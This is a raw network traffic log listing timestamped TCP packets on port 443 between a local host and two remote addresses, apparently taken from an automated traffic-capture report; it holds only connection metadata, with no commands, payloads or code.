Nov 25, 2024 05:46:30.403737068 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.416373014 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.416397095 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.416464090 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.416480064 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.416506052 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.416594982 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.430402040 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.430422068 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.430490971 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.430491924 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.430505991 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.430613041 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.446207047 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.446224928 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.446288109 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.446295977 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.446316957 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.446346045 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.459038019 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.459053993 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.459127903 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.459136009 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.459378958 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.461494923 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.461514950 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.461623907 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.461663008 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.461812019 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.471254110 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.471278906 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.471349001 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.471370935 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.471395016 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.471677065 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.473957062 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.473973036 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.474051952 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.474062920 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.474102974 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.477802038 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.477861881 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.477936029 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.477946043 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.477972984 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.477993011 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.479057074 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.479075909 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.479140043 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.479155064 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.479186058 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.479203939 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.485275984 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.485320091 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.485382080 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.485388994 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.485420942 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.485433102 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.488091946 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.488110065 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.488162041 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.488176107 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.488226891 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.488264084 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.493781090 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.493824005 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.493896961 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.493905067 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.493933916 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.493944883 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.497076035 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.497093916 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.497142076 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.497158051 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.497185946 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.497205019 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.502237082 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.502280951 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.502305984 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.502312899 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.502361059 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.502387047 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.505422115 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.505439043 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.505517006 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.505532980 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.505584955 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.510817051 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.510862112 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.510904074 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.510910988 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.510925055 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.510941982 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.514480114 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.514501095 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.514542103 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.514554977 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.514585018 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.514605999 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.518723965 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.518770933 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.518791914 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.518799067 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.518842936 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.526153088 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.526200056 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.526220083 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.526226044 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.526263952 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.526282072 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.534686089 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.534729004 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.534744024 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.534750938 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.534785986 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.534800053 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.540088892 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.540108919 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.540153980 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.540162086 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.540189981 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.540210009 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.583345890 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.583368063 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.583431959 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.583444118 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.583461046 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.583478928 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.595134974 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.595151901 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.595236063 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.595246077 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.595341921 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.606225014 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.606240034 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.606431961 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.606443882 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.606492043 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.615535021 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.615549088 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.615587950 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.615597010 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.615621090 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.615655899 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.626156092 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.626169920 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.626238108 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.626246929 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.626343966 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.636236906 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.636251926 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.636329889 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.636337996 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.636387110 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.646878958 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.646893024 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.646964073 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.646970987 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.647080898 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.657649040 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.657664061 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.657732964 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.657742023 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.657788992 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.657788992 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.664174080 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.664205074 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.664274931 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.664324999 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.664365053 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.664494038 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.673060894 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.673077106 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.673150063 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.673166990 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.673218966 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.680886030 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.680902958 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.680963993 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.680982113 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.681080103 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.682559013 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.682622910 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.682673931 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.682682037 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.682712078 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.682724953 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.689949036 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.689966917 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.690046072 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.690067053 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.690125942 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.690867901 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.690917969 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.690943956 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.690949917 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.690974951 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.690999031 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.697567940 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.697602034 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.697639942 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.697658062 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.697678089 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.697700977 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.697722912 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.698213100 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.698256969 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.698296070 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.698302031 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.698331118 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.698350906 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.699557066 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.699593067 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.706676006 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.706732988 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.706768990 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.706774950 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.706824064 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.714504004 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.714550018 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.714595079 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.714601040 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.714632988 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.714654922 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.722968102 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.723025084 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.723045111 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.723052025 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.723088026 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.723102093 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.731342077 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.731384993 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.731426954 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.731432915 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.731472015 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.731483936 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.738661051 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.738703012 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.738733053 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.738739014 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.738770962 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.738790989 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.786261082 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.786283016 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.786375046 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.786391973 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.786506891 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.794682026 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.794707060 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.794770956 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.794781923 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.794919014 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.801985979 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.802004099 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.802073002 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.802082062 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.802117109 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.802136898 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.810292006 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.810308933 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.810372114 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.810379982 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.810724020 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.818727016 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.818741083 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.818802118 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.818813086 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.818873882 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.826472998 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.826487064 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.826572895 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.826581001 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.826838017 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.834850073 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.834867954 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.834955931 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.834963083 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.835217953 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.842164993 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.842184067 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.842267990 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.842277050 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.842319012 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.842319012 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.883796930 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.883867979 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.883902073 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.883912086 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.883961916 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.884001970 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.884047985 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.884965897 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.884979010 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.988018036 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.988049030 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.988095999 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.988110065 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.988147020 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.988158941 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.988390923 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:30.989279985 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.989353895 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.989360094 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.989372969 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.989479065 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:30.989490032 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.989494085 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:30.990086079 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:30.990092993 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:30.998557091 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.998574972 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:31.201122046 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.203229904 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.203253031 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.203763008 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.203771114 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.253817081 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.254281044 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.254298925 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.254719973 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.254725933 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.296226978 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.296746969 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.296808958 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.297198057 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.297214031 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.312333107 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.312994003 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.313033104 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.313483953 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.313496113 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.432198048 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.432264090 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.432310104 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.432574987 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.432588100 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.432600021 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.432605028 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.436034918 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.436069012 CET	443	49785	13.107.246.63	192.168.2.6
